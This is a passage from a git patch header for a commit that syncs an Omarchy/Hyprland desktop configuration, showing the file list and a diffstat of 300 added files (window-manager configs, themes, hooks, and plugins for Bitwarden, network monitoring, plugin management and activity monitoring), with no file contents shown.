From 1cdb82a76fea1743d2bff5e365df1ae9250c1e3d Mon Sep 17 00:00:00 2001 From: asepharyana Date: Wed, 23 Sep 2026 15:19:12 +0700 Subject: [PATCH] Sync config from arch MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - hypr/apps.lua - hypr/autostart.lua - hypr/envs.lua - hypr/hyprland.lua - hypr/hyprsunset.conf - hypr/input.lua - hypr/looknfeel.lua - hypr/omasettings.lua - hypr/xdph.conf - omarchy/branding/about.txt - omarchy/branding/screensaver.txt - omarchy/extensions/omarchy-menu.jsonc - omarchy/hooks/battery-low.d/play-warning-sound.sample - omarchy/hooks/font-set.d/show-font-notification.sample - omarchy/hooks/post-boot.d/weather.sample - omarchy/hooks/post-update.d/install-voxtype.hook - omarchy/hooks/post-update.d/setup-agent.hook - omarchy/hooks/post-update.d/setup-fingerprint.hook - omarchy/hooks/post-update.d/show-update-notification.sample - omarchy/hooks/pre-refresh-pacman.d/add-custom-repo.sample - omarchy/hooks/theme-set.d/show-theme-notification.sample - omarchy/shell.json - omarchy/shell.toml - omarchy/theme.name - omarchy/themes/azure-glow/README.md - omarchy/themes/azure-glow/alacritty.toml - omarchy/themes/azure-glow/btop.theme - omarchy/themes/azure-glow/hyprland.conf - omarchy/themes/azure-glow/hyprlock.conf - omarchy/themes/azure-glow/icons.theme - … 269 more --- .omarchy-config.json | 5 + hypr/apps.lua | 3 + hypr/autostart.lua | 2 + hypr/bindings.lua | 13 + hypr/envs.lua | 3 + hypr/hyprland.lua | 35 + hypr/hyprsunset.conf | 14 + hypr/input.lua | 57 + hypr/looknfeel.lua | 50 + hypr/omasettings.lua | 4 + hypr/xdph.conf | 4 + omarchy/branding/about.txt | 26 + omarchy/branding/screensaver.txt | 10 + omarchy/extensions/omarchy-menu.jsonc | 30 + .../battery-low.d/play-warning-sound.sample | 10 + .../font-set.d/show-font-notification.sample | 7 + omarchy/hooks/post-boot.d/weather.sample | 10 + .../hooks/post-update.d/install-voxtype.hook | 9 + omarchy/hooks/post-update.d/setup-agent.hook | 11 + .../post-update.d/setup-fingerprint.hook | 12 + .../show-update-notification.sample | 7 + .../add-custom-repo.sample | 24 + .../show-theme-notification.sample | 7 + omarchy/shell.json | 90 + omarchy/shell.toml | 2 + omarchy/theme.name | 1 + omarchy/themes/azure-glow/README.md | 81 + omarchy/themes/azure-glow/alacritty.toml | 37 + omarchy/themes/azure-glow/btop.theme | 60 + omarchy/themes/azure-glow/hyprland.conf | 4 + omarchy/themes/azure-glow/hyprlock.conf | 109 + omarchy/themes/azure-glow/icons.theme | 1 + omarchy/themes/azure-glow/mako.ini | 30 + omarchy/themes/azure-glow/neovim.lua | 80 + omarchy/themes/azure-glow/swayosd.css | 45 + omarchy/themes/azure-glow/walker.css | 72 + omarchy/themes/azure-glow/waybar.css | 93 + .../BitwardenModel.js | 6062 ++++++++ .../CHANGELOG.md | 162 + .../DetailField.qml | 105 + .../FormPickerRow.qml | 73 + .../LICENSE | 21 + .../Panel.qml | 11754 ++++++++++++++++ .../README.md | 581 + .../SshAgentSettings.qml | 253 + .../SshApprovalPopup.qml | 163 + .../SshApprovalScreen.qml | 210 + .../SshUnlockScreen.qml | 332 + .../StatusNotice.qml | 127 + .../WheelScroll.qml | 37 + .../agent/Cargo.lock | 707 + .../agent/Cargo.toml | 52 + .../agent/rust-toolchain.toml | 9 + .../agent/src/approvals.rs | 234 + .../agent/src/control.rs | 119 + .../agent/src/keystore.rs | 331 + .../agent/src/lib.rs | 230 + .../agent/src/lifecycle.rs | 21 + .../agent/src/load.rs | 109 + .../agent/src/main.rs | 895 ++ .../agent/src/peer.rs | 77 + .../agent/src/protocol.rs | 210 + .../agent/src/runtime.rs | 324 + .../agent/src/selftest.rs | 159 + .../agent/src/server.rs | 142 + .../agent/src/signing.rs | 32 + .../agent/src/state.rs | 77 + .../agent/tests/approvals.rs | 246 + .../agent/tests/keystore.rs | 202 + .../agent/tests/lifecycle.rs | 983 ++ .../agent/tests/load.rs | 283 + .../agent/tests/protocol.rs | 177 + .../bin/SHA256SUMS | 1 + .../bin/x86_64-linux/qs-bitwarden-ssh-agent | Bin 0 -> 1215040 bytes .../demo/bin/bw | 80 + .../demo/bin/secret-tool | 36 + .../demo/capture.sh | 213 + .../demo/compose-preview.sh | 198 + .../demo/find_panel.py | 126 + .../demo/fixtures.json | 290 + .../deny.toml | 65 + .../decisions/0001-ssh-agent-dependencies.md | 242 + .../docs/decisions/0002-grant-scope.md | 101 + .../docs/decisions/0003-request-deadline.md | 94 + .../docs/decisions/0004-ssh-key-creation.md | 153 + .../docs/development.md | 100 + .../docs/features.md | 138 + .../docs/ideas/colorized-menu-bar-icon.md | 66 + .../docs/ideas/ssh-agent.md | 1191 ++ .../docs/ideas/ssh-approval-popup.md | 115 + .../docs/screenshots/01-vault-list.png | Bin 0 -> 77727 bytes .../docs/screenshots/02-login-detail.png | Bin 0 -> 49789 bytes .../docs/screenshots/03-edit-item.png | Bin 0 -> 57881 bytes .../docs/screenshots/04-card-detail.png | Bin 0 -> 46887 bytes .../docs/screenshots/05-identity-detail.png | Bin 0 -> 50037 bytes .../docs/screenshots/06-folder-drawer.png | Bin 0 -> 91287 bytes .../docs/screenshots/07-type-filter.png | Bin 0 -> 91910 bytes .../docs/screenshots/08-generator.png | Bin 0 -> 45211 bytes .../docs/screenshots/09-sends.png | Bin 0 -> 39061 bytes .../docs/screenshots/10-settings.png | Bin 0 -> 127353 bytes .../docs/screenshots/11-locked.png | Bin 0 -> 43046 bytes .../docs/screenshots/12-login.png | Bin 0 -> 45427 bytes .../docs/screenshots/13-ssh-approval.png | Bin 0 -> 53390 bytes .../docs/ssh-agent.md | 114 + .../docs/uninstall.md | 63 + .../manifest.json | 160 + .../preview.png | Bin 0 -> 409029 bytes .../scripts/build-agent.sh | 351 + .../tasks/bugs.md | 131 + .../tasks/plan.md | 521 + .../tasks/todo.md | 1091 ++ .../tests/attachments.test.js | 493 + .../tests/auth-prewarm.test.js | 331 + .../tests/auth.test.js | 1195 ++ .../tests/buffer-scrub.test.js | 303 + .../tests/collections.test.js | 87 + .../tests/context-match.test.js | 329 + .../tests/detail-field.test.js | 182 + .../tests/first-run.test.js | 266 + .../tests/folders.test.js | 129 + .../tests/generator.test.js | 252 + .../tests/handoff-urls.test.js | 152 + .../tests/hardening.test.js | 241 + .../tests/initial-load.test.js | 114 + .../tests/items.test.js | 462 + .../tests/lock-state.test.js | 396 + .../tests/lock-triggers.test.js | 277 + .../tests/performance.test.js | 164 + .../tests/qml/tst_escape_routing.qml | 163 + .../tests/qml/tst_rich_text.qml | 56 + .../tests/qml/tst_row_widths.qml | 477 + .../tests/qml/tst_ssh_agent.qml | 183 + .../tests/qml/tst_ssh_items.qml | 26 + .../tests/release-provenance.test.js | 195 + .../tests/rich-text.test.js | 124 + .../tests/scrolling.test.js | 77 + .../tests/sends.test.js | 198 + .../tests/session-boot.test.js | 119 + .../tests/settings-screen.test.js | 267 + .../tests/setup-settings.test.js | 372 + .../tests/ssh-agent-artifact.test.js | 395 + .../tests/ssh-agent-bundle.test.js | 228 + .../tests/ssh-agent-control.test.js | 539 + .../tests/ssh-agent-export.test.js | Bin 0 -> 12111 bytes .../tests/ssh-agent-lifecycle.test.js | 274 + .../tests/ssh-agent-pipeline.test.js | 477 + .../tests/ssh-agent-setup.test.js | 467 + .../tests/ssh-agent-ui.test.js | 720 + .../tests/ssh-items.test.js | 337 + .../tests/status-notice.test.js | 75 + .../tests/stream-limits.test.js | 258 + plugins/io.github.x3me.nexthop/AppsTab.qml | 231 + plugins/io.github.x3me.nexthop/BarWidget.qml | 244 + plugins/io.github.x3me.nexthop/EventsTab.qml | 580 + plugins/io.github.x3me.nexthop/LICENSE | 21 + plugins/io.github.x3me.nexthop/LatencyTab.qml | 777 + plugins/io.github.x3me.nexthop/LegChart.qml | 195 + .../io.github.x3me.nexthop/OverviewTab.qml | 341 + plugins/io.github.x3me.nexthop/Panel.qml | 558 + plugins/io.github.x3me.nexthop/PathChain.qml | 398 + plugins/io.github.x3me.nexthop/README.md | 241 + .../io.github.x3me.nexthop/ScorePillar.qml | 71 + plugins/io.github.x3me.nexthop/Service.qml | 191 + .../io.github.x3me.nexthop/SettingsTab.qml | 188 + plugins/io.github.x3me.nexthop/SpeedTab.qml | 484 + plugins/io.github.x3me.nexthop/WifiTab.qml | 620 + plugins/io.github.x3me.nexthop/bin/nexthop | 5 + .../design/Architecture.dc.html | 171 + .../design/BarStates.dc.html | 164 + .../design/Events.dc.html | 164 + .../design/Latency.dc.html | 215 + .../design/Main.dc.html | 298 + .../design/Speed.dc.html | 183 + .../design/SpeedTest.dc.html | 137 + .../design/WiFi.dc.html | 188 + .../io.github.x3me.nexthop/design/canvas.json | 94 + plugins/io.github.x3me.nexthop/docs/apps.png | Bin 0 -> 74611 bytes .../io.github.x3me.nexthop/docs/events.png | Bin 0 -> 179654 bytes .../io.github.x3me.nexthop/docs/latency.png | Bin 0 -> 111240 bytes plugins/io.github.x3me.nexthop/docs/speed.png | Bin 0 -> 73382 bytes plugins/io.github.x3me.nexthop/docs/wifi.png | Bin 0 -> 160872 bytes plugins/io.github.x3me.nexthop/format.js | 31 + plugins/io.github.x3me.nexthop/manifest.json | 171 + .../io.github.x3me.nexthop/nexthopd.service | 62 + .../nexthopd/__init__.py | 8 + .../nexthopd/__main__.py | 5 + .../io.github.x3me.nexthop/nexthopd/apps.py | 403 + .../io.github.x3me.nexthop/nexthopd/cli.py | 365 + .../io.github.x3me.nexthop/nexthopd/daemon.py | 2056 +++ .../nexthopd/instruments.py | 353 + .../nexthopd/linkevents.py | 194 + .../io.github.x3me.nexthop/nexthopd/net.py | 372 + .../io.github.x3me.nexthop/nexthopd/paths.py | 91 + .../io.github.x3me.nexthop/nexthopd/probes.py | 484 + .../io.github.x3me.nexthop/nexthopd/score.py | 553 + .../nexthopd/speedtest.py | 561 + .../io.github.x3me.nexthop/nexthopd/state.py | 149 + .../io.github.x3me.nexthop/nexthopd/store.py | 402 + .../io.github.x3me.nexthop/nexthopd/update.py | 246 + plugins/io.github.x3me.nexthop/pathspark.js | 204 + plugins/io.github.x3me.nexthop/preview.png | Bin 0 -> 76472 bytes plugins/io.github.x3me.nexthop/readout.js | 42 + .../test/fixtures/cf-trace.txt | 16 + .../test/fixtures/iw-event.txt | 11 + .../test/fixtures/iw-link.txt | 11 + .../test/fixtures/ping-losses.txt | 8 + .../test/fixtures/ping-replies.txt | 6 + .../test/fixtures/ss-rtt-guards.txt | 14 + .../test/fixtures/ss-tinp.txt | 8 + .../test/pathspark_bounds.js | 115 + .../io.github.x3me.nexthop/test/support.py | 67 + .../io.github.x3me.nexthop/test/test_apps.py | 244 + .../io.github.x3me.nexthop/test/test_cli.py | 161 + .../test/test_daemon.py | 1215 ++ .../test/test_instruments.py | 252 + .../test/test_linkevents.py | 358 + .../io.github.x3me.nexthop/test/test_net.py | 167 + .../test/test_pathspark.py | 39 + .../test/test_probes.py | 441 + .../io.github.x3me.nexthop/test/test_score.py | 531 + .../test/test_speedtest.py | 608 + .../io.github.x3me.nexthop/test/test_state.py | 180 + .../io.github.x3me.nexthop/test/test_store.py | 388 + .../test/test_update.py | 252 + plugins/omaplug/AGENTS.md | 9 + plugins/omaplug/BarWidget.qml | 106 + plugins/omaplug/LICENSE | 21 + plugins/omaplug/Panel.qml | 2253 +++ plugins/omaplug/README.md | 93 + plugins/omaplug/RELEASE_NOTES_1.5.1.md | 15 + plugins/omaplug/auto-check-coordinator.sh | 23 + plugins/omaplug/manifest.json | 21 + plugins/omaplug/marketplace-catalog.sh | 34 + plugins/omaplug/nested-widget-toggle.sh | 30 + plugins/omaplug/panel/Presentation.js | 70 + plugins/omaplug/panel/dialogs/Confirm.qml | 115 + plugins/omaplug/panel/dialogs/Install.qml | 138 + plugins/omaplug/panel/layout/Page.qml | 430 + plugins/omaplug/panel/plugin/Actions.qml | 140 + plugins/omaplug/panel/plugin/ContextMenu.qml | 166 + plugins/omaplug/panel/plugin/ListingLinks.qml | 238 + plugins/omaplug/panel/plugin/Row.qml | 382 + plugins/omaplug/panel/updates/Page.qml | 497 + plugins/omaplug/plugin-state.sh | 104 + plugins/omaplug/preview.png | Bin 0 -> 1476023 bytes plugins/omaplug/preview_action.png | Bin 0 -> 196570 bytes plugins/omaplug/preview_add.png | Bin 0 -> 156881 bytes plugins/omaplug/preview_check-update.png | Bin 0 -> 101812 bytes plugins/omaplug/preview_filter.png | Bin 0 -> 201492 bytes plugins/omaplug/preview_filter_2.png | Bin 0 -> 187938 bytes plugins/omaplug/preview_main.png | Bin 0 -> 192650 bytes plugins/omaplug/runtime-state.py | 264 + .../skills/omaplug-security-review/SKILL.md | 56 + plugins/omaplug/tests/AutoCheckLogic.qml | 98 + plugins/omaplug/tests/DetachedLaunch.qml | 21 + .../tests/auto-check-coordinator-test.sh | 86 + plugins/omaplug/tests/auto-check-test.sh | 172 + plugins/omaplug/tests/catalog-fetch-test.sh | 51 + plugins/omaplug/tests/icon-glyph-test.sh | 21 + .../tests/nested-widget-toggle-test.sh | 76 + .../omaplug/tests/plugin-metadata-test.cjs | 115 + plugins/omaplug/tests/plugin-state-test.sh | 112 + .../omaplug/tests/quickshell-detached-test.sh | 52 + plugins/omaplug/tests/run.sh | 15 + .../omaplug/tests/security-regression-test.py | 40 + plugins/omaplug/tests/update-helper-test.sh | 124 + .../omaplug/tests/verification-status-test.sh | 28 + plugins/omaplug/update-helper.sh | 100 + .../ActivityController.qml | 629 + plugins/stappmus.activity-monitor/LICENSE | 22 + plugins/stappmus.activity-monitor/Makefile | 22 + plugins/stappmus.activity-monitor/Model.js | 1868 +++ plugins/stappmus.activity-monitor/PKGBUILD | 51 + plugins/stappmus.activity-monitor/Panel.qml | 1808 +++ .../ProcessActionController.qml | 151 + plugins/stappmus.activity-monitor/README.md | 63 + .../stappmus.activity-monitor/Sparkline.qml | 68 + .../activity-power-reader | 9 + .../activity-sampler | Bin 0 -> 190584 bytes .../activity-sampler.cpp | 2070 +++ .../stappmus.activity-monitor/activity-stats | 11 + .../stappmus.activity-monitor/manifest.json | 80 + .../preview-compact.png | Bin 0 -> 61244 bytes .../preview-cpu-layouts.png | Bin 0 -> 44424 bytes .../preview-expanded.png | Bin 0 -> 170068 bytes plugins/stappmus.activity-monitor/preview.png | Bin 0 -> 170068 bytes .../stappmus.activity-monitor/process-signal | 359 + .../scripts/render-cpu-layouts.js | 13 + .../stappmus-activity-monitor.sudoers | 1 + .../test/activity-details-test.sh | 706 + .../test/activity-native-test.sh | 66 + .../test/activity-privilege-test.sh | 33 + .../test/activity-process-action-test.sh | 513 + .../test/activity-test.sh | 872 ++ plugins/stappmus.activity-monitor/test/all.sh | 14 + .../test/base-test.sh | 80 + terminals/alacritty.toml | 28 + terminals/foot.ini | 26 + terminals/ghostty.config | 41 + terminals/kitty.conf | 23 + 300 files changed, 78143 insertions(+) create mode 100644 .omarchy-config.json create mode 100644 hypr/apps.lua create mode 100644 hypr/autostart.lua create mode 100644 hypr/bindings.lua create mode 100644 hypr/envs.lua create mode 100644 hypr/hyprland.lua create mode 100644 hypr/hyprsunset.conf create mode 100644 hypr/input.lua create mode 100644 hypr/looknfeel.lua create mode 100644 hypr/omasettings.lua create mode 100644 hypr/xdph.conf create mode 100644 omarchy/branding/about.txt create mode 100644 omarchy/branding/screensaver.txt create mode 100644 omarchy/extensions/omarchy-menu.jsonc create mode 100644 omarchy/hooks/battery-low.d/play-warning-sound.sample create mode 100644 omarchy/hooks/font-set.d/show-font-notification.sample create mode 100644 omarchy/hooks/post-boot.d/weather.sample create mode 100644 omarchy/hooks/post-update.d/install-voxtype.hook create mode 100644 omarchy/hooks/post-update.d/setup-agent.hook create mode 100644 omarchy/hooks/post-update.d/setup-fingerprint.hook create mode 100644 omarchy/hooks/post-update.d/show-update-notification.sample create mode 100644 omarchy/hooks/pre-refresh-pacman.d/add-custom-repo.sample create mode 100644 omarchy/hooks/theme-set.d/show-theme-notification.sample create mode 100644 omarchy/shell.json create mode 100644 omarchy/shell.toml create mode 100644 omarchy/theme.name create mode 100644 omarchy/themes/azure-glow/README.md create mode 100644 omarchy/themes/azure-glow/alacritty.toml create mode 100644 omarchy/themes/azure-glow/btop.theme create mode 100644 omarchy/themes/azure-glow/hyprland.conf create mode 100644 omarchy/themes/azure-glow/hyprlock.conf create mode 100644 omarchy/themes/azure-glow/icons.theme create mode 100644 omarchy/themes/azure-glow/mako.ini create mode 100644 omarchy/themes/azure-glow/neovim.lua create mode 100644 omarchy/themes/azure-glow/swayosd.css create mode 100644 omarchy/themes/azure-glow/walker.css create mode 100644 omarchy/themes/azure-glow/waybar.css create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/BitwardenModel.js create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/CHANGELOG.md create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/DetailField.qml create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/FormPickerRow.qml create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/LICENSE create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/Panel.qml create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/README.md create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/SshAgentSettings.qml create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/SshApprovalPopup.qml create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/SshApprovalScreen.qml create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/SshUnlockScreen.qml create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/StatusNotice.qml create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/WheelScroll.qml create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/agent/Cargo.lock create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/agent/Cargo.toml create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/agent/rust-toolchain.toml create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/approvals.rs create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/control.rs create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/keystore.rs create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/lib.rs create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/lifecycle.rs create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/load.rs create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/main.rs create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/peer.rs create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/protocol.rs create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/runtime.rs create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/selftest.rs create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/server.rs create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/signing.rs create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/agent/src/state.rs create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/agent/tests/approvals.rs create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/agent/tests/keystore.rs create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/agent/tests/lifecycle.rs create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/agent/tests/load.rs create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/agent/tests/protocol.rs create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/bin/SHA256SUMS create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/bin/x86_64-linux/qs-bitwarden-ssh-agent create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/demo/bin/bw create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/demo/bin/secret-tool create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/demo/capture.sh create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/demo/compose-preview.sh create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/demo/find_panel.py create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/demo/fixtures.json create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/deny.toml create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/docs/decisions/0001-ssh-agent-dependencies.md create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/docs/decisions/0002-grant-scope.md create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/docs/decisions/0003-request-deadline.md create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/docs/decisions/0004-ssh-key-creation.md create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/docs/development.md create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/docs/features.md create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/docs/ideas/colorized-menu-bar-icon.md create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/docs/ideas/ssh-agent.md create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/docs/ideas/ssh-approval-popup.md create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/docs/screenshots/01-vault-list.png create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/docs/screenshots/02-login-detail.png create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/docs/screenshots/03-edit-item.png create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/docs/screenshots/04-card-detail.png create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/docs/screenshots/05-identity-detail.png create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/docs/screenshots/06-folder-drawer.png create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/docs/screenshots/07-type-filter.png create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/docs/screenshots/08-generator.png create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/docs/screenshots/09-sends.png create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/docs/screenshots/10-settings.png create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/docs/screenshots/11-locked.png create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/docs/screenshots/12-login.png create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/docs/screenshots/13-ssh-approval.png create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/docs/ssh-agent.md create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/docs/uninstall.md create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/manifest.json create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/preview.png create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/scripts/build-agent.sh create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/tasks/bugs.md create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/tasks/plan.md create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/tasks/todo.md create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/tests/attachments.test.js create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/tests/auth-prewarm.test.js create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/tests/auth.test.js create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/tests/buffer-scrub.test.js create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/tests/collections.test.js create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/tests/context-match.test.js create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/tests/detail-field.test.js create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/tests/first-run.test.js create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/tests/folders.test.js create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/tests/generator.test.js create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/tests/handoff-urls.test.js create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/tests/hardening.test.js create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/tests/initial-load.test.js create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/tests/items.test.js create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/tests/lock-state.test.js create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/tests/lock-triggers.test.js create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/tests/performance.test.js create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/tests/qml/tst_escape_routing.qml create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/tests/qml/tst_rich_text.qml create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/tests/qml/tst_row_widths.qml create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/tests/qml/tst_ssh_agent.qml create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/tests/qml/tst_ssh_items.qml create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/tests/release-provenance.test.js create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/tests/rich-text.test.js create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/tests/scrolling.test.js create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/tests/sends.test.js create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/tests/session-boot.test.js create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/tests/settings-screen.test.js create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/tests/setup-settings.test.js create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/tests/ssh-agent-artifact.test.js create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/tests/ssh-agent-bundle.test.js create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/tests/ssh-agent-control.test.js create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/tests/ssh-agent-export.test.js create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/tests/ssh-agent-lifecycle.test.js create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/tests/ssh-agent-pipeline.test.js create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/tests/ssh-agent-setup.test.js create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/tests/ssh-agent-ui.test.js create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/tests/ssh-items.test.js create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/tests/status-notice.test.js create mode 100644 plugins/io.github.elevate08.qs-bitwarden-cli/tests/stream-limits.test.js create mode 100644 plugins/io.github.x3me.nexthop/AppsTab.qml create mode 100644 plugins/io.github.x3me.nexthop/BarWidget.qml create mode 100644 plugins/io.github.x3me.nexthop/EventsTab.qml create mode 100644 plugins/io.github.x3me.nexthop/LICENSE create mode 100644 plugins/io.github.x3me.nexthop/LatencyTab.qml create mode 100644 plugins/io.github.x3me.nexthop/LegChart.qml create mode 100644 plugins/io.github.x3me.nexthop/OverviewTab.qml create mode 100644 plugins/io.github.x3me.nexthop/Panel.qml create mode 100644 plugins/io.github.x3me.nexthop/PathChain.qml create mode 100644 plugins/io.github.x3me.nexthop/README.md create mode 100644 plugins/io.github.x3me.nexthop/ScorePillar.qml create mode 100644 plugins/io.github.x3me.nexthop/Service.qml create mode 100644 plugins/io.github.x3me.nexthop/SettingsTab.qml create mode 100644 plugins/io.github.x3me.nexthop/SpeedTab.qml create mode 100644 plugins/io.github.x3me.nexthop/WifiTab.qml create mode 100644 plugins/io.github.x3me.nexthop/bin/nexthop create mode 100644 plugins/io.github.x3me.nexthop/design/Architecture.dc.html create mode 100644 plugins/io.github.x3me.nexthop/design/BarStates.dc.html create mode 100644 plugins/io.github.x3me.nexthop/design/Events.dc.html create mode 100644 plugins/io.github.x3me.nexthop/design/Latency.dc.html create mode 100644 plugins/io.github.x3me.nexthop/design/Main.dc.html create mode 100644 plugins/io.github.x3me.nexthop/design/Speed.dc.html create mode 100644 plugins/io.github.x3me.nexthop/design/SpeedTest.dc.html create mode 100644 plugins/io.github.x3me.nexthop/design/WiFi.dc.html create mode 100644 plugins/io.github.x3me.nexthop/design/canvas.json create mode 100644 plugins/io.github.x3me.nexthop/docs/apps.png create mode 100644 plugins/io.github.x3me.nexthop/docs/events.png create mode 100644 plugins/io.github.x3me.nexthop/docs/latency.png create mode 100644 plugins/io.github.x3me.nexthop/docs/speed.png create mode 100644 plugins/io.github.x3me.nexthop/docs/wifi.png create mode 100644 plugins/io.github.x3me.nexthop/format.js create mode 100644 plugins/io.github.x3me.nexthop/manifest.json create mode 100644 plugins/io.github.x3me.nexthop/nexthopd.service create mode 100644 plugins/io.github.x3me.nexthop/nexthopd/__init__.py create mode 100644 plugins/io.github.x3me.nexthop/nexthopd/__main__.py create mode 100644 plugins/io.github.x3me.nexthop/nexthopd/apps.py create mode 100644 plugins/io.github.x3me.nexthop/nexthopd/cli.py create mode 100644 plugins/io.github.x3me.nexthop/nexthopd/daemon.py create mode 100644 plugins/io.github.x3me.nexthop/nexthopd/instruments.py create mode 100644 plugins/io.github.x3me.nexthop/nexthopd/linkevents.py create mode 100644 plugins/io.github.x3me.nexthop/nexthopd/net.py create mode 100644 plugins/io.github.x3me.nexthop/nexthopd/paths.py create mode 100644 plugins/io.github.x3me.nexthop/nexthopd/probes.py create mode 100644 plugins/io.github.x3me.nexthop/nexthopd/score.py create mode 100644 plugins/io.github.x3me.nexthop/nexthopd/speedtest.py create mode 100644 plugins/io.github.x3me.nexthop/nexthopd/state.py create mode 100644 plugins/io.github.x3me.nexthop/nexthopd/store.py create mode 100644 